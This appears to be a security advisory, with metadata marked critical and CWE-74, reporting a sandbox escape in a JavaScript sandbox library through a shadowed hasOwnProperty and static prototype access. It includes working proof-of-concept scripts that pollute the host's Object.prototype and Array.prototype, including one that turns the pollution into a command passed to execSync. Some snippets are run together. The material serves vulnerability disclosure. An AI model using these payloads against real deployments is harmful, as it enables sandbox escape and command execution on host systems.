A sandbox escape is possible by shadowing hasOwnProperty on a sandbox object, which disables prototype whitelist enforcement in the property-access path. This permits direct access to __proto__ and other blocked prototype properties, enabling host Object.prototype pollution and persistent cross-sandbox impact.
The issue was reproducible on Node v23.9.0 using the project’s current build output. The bypass works with default Sandbox configuration and does not require custom globals or whitelists.
prototypeAccess uses a.hasOwnProperty(b) directly, which can be attacker‑controlled if the sandboxed object shadows hasOwnProperty. When this returns true, the whitelist checks are skipped.
const prototypeAccess = isFunction || !(a.hasOwnProperty(b) || typeof b === 'number');prototypeAccess is true.obj.context.hasOwnProperty(...), also bypassable via shadowing.node node_modules/typescript/bin/tsc --project tsconfig.json --outDir build --declaration
node node_modules/rollup/dist/bin/rollup -c
Runtime target: dist/node/Sandbox.js
__proto__ blocked without bypassconst Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();
try {
const res = sandbox.compile(`return ({}).__proto__`)().run();
console.log('res', res);
} catch (e) {
console.log('error', e && e.message);
}
Object.prototype pollutionconst Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();
const code = `
const o = { hasOwnProperty: () => true };
const proto = o.__proto__;
proto.polluted = 'pwned';
return 'done';
`;
sandbox.compile(code)().run();
console.log('polluted' in ({}), ({}).polluted);
const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();
sandbox.compile(`
const o = { hasOwnProperty: () => true };
const proto = o.__proto__;
proto.isAdmin = true;
return 'ok';
`)().run();
console.log('isAdmin', ({}).isAdmin === true);
Object.prototype.toStringconst Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();
sandbox.compile(`
const o = { hasOwnProperty: () => true };
const proto = o.__proto__;
proto.toString = function () { throw new Error('aaaaaaa'); };
return 'ok';
`)().run();
try {
String({});
} catch (e) {
console.log('error', e.message);
}
execSync)const Sandbox = require('./dist/node/Sandbox.js').default;
const { execSync } = require('child_process');
const sandbox = new Sandbox();
sandbox.compile(`
const o = { hasOwnProperty: () => true };
const proto = o.__proto__;
proto.cmd = 'id;
return 'ok';
`)().run();
const obj = {}; // typical innocent object
const out = execSync(obj.cmd, { encoding: 'utf8' }).trim();
console.log(out);
This does not require the hasOwnProperty bypass. Some prototypes can be reached via allowed static access ([].constructor.prototype) and then mutated via a local variable, which bypasses isGlobal checks.
Array.prototype.filter without bypassconst Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();
sandbox.compile(`const p = [].constructor.prototype; p.filter = 1; return 'ok';`)().run();
console.log('host filter', [1,2].filter);
Output:
host filter 1
{
"cwe_ids": [
"CWE-74"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-05T21:04:58Z",
"nvd_published_at": "2026-02-06T20:16:10Z",
"severity": "CRITICAL"
}